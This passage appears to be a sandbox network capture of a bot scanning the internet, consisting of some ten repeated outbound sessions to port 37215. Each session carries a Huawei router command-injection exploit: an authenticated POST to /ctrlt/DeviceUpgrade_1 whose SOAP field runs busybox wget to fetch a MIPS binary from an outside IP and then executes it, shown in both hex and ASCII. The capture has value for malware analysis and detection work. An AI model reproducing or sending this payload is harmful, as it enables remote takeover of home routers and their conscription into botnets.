65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1112	192.168.2.13	49382	156.245.171.247	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.783158064 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1113	192.168.2.13	35550	41.4.214.185	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.785569906 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1114	192.168.2.13	48254	156.134.22.34	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.789200068 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1115	192.168.2.13	57440	41.227.170.83	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.792759895 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1116	192.168.2.13	45916	197.95.238.64	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.796302080 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1117	192.168.2.13	52224	197.72.51.102	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.799204111 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1118	192.168.2.13	46862	156.77.125.118	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.801716089 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1119	192.168.2.13	42362	156.157.64.3	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.804426908 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1120	192.168.2.13	59304	156.229.98.89	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.806962013 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1121	192.168.2.13	54532	156.73.9.19	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.810214996 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1122	192.168.2.13	54674	156.66.57.242	37215

Timestamp	Bytes transferred	Direction	Data
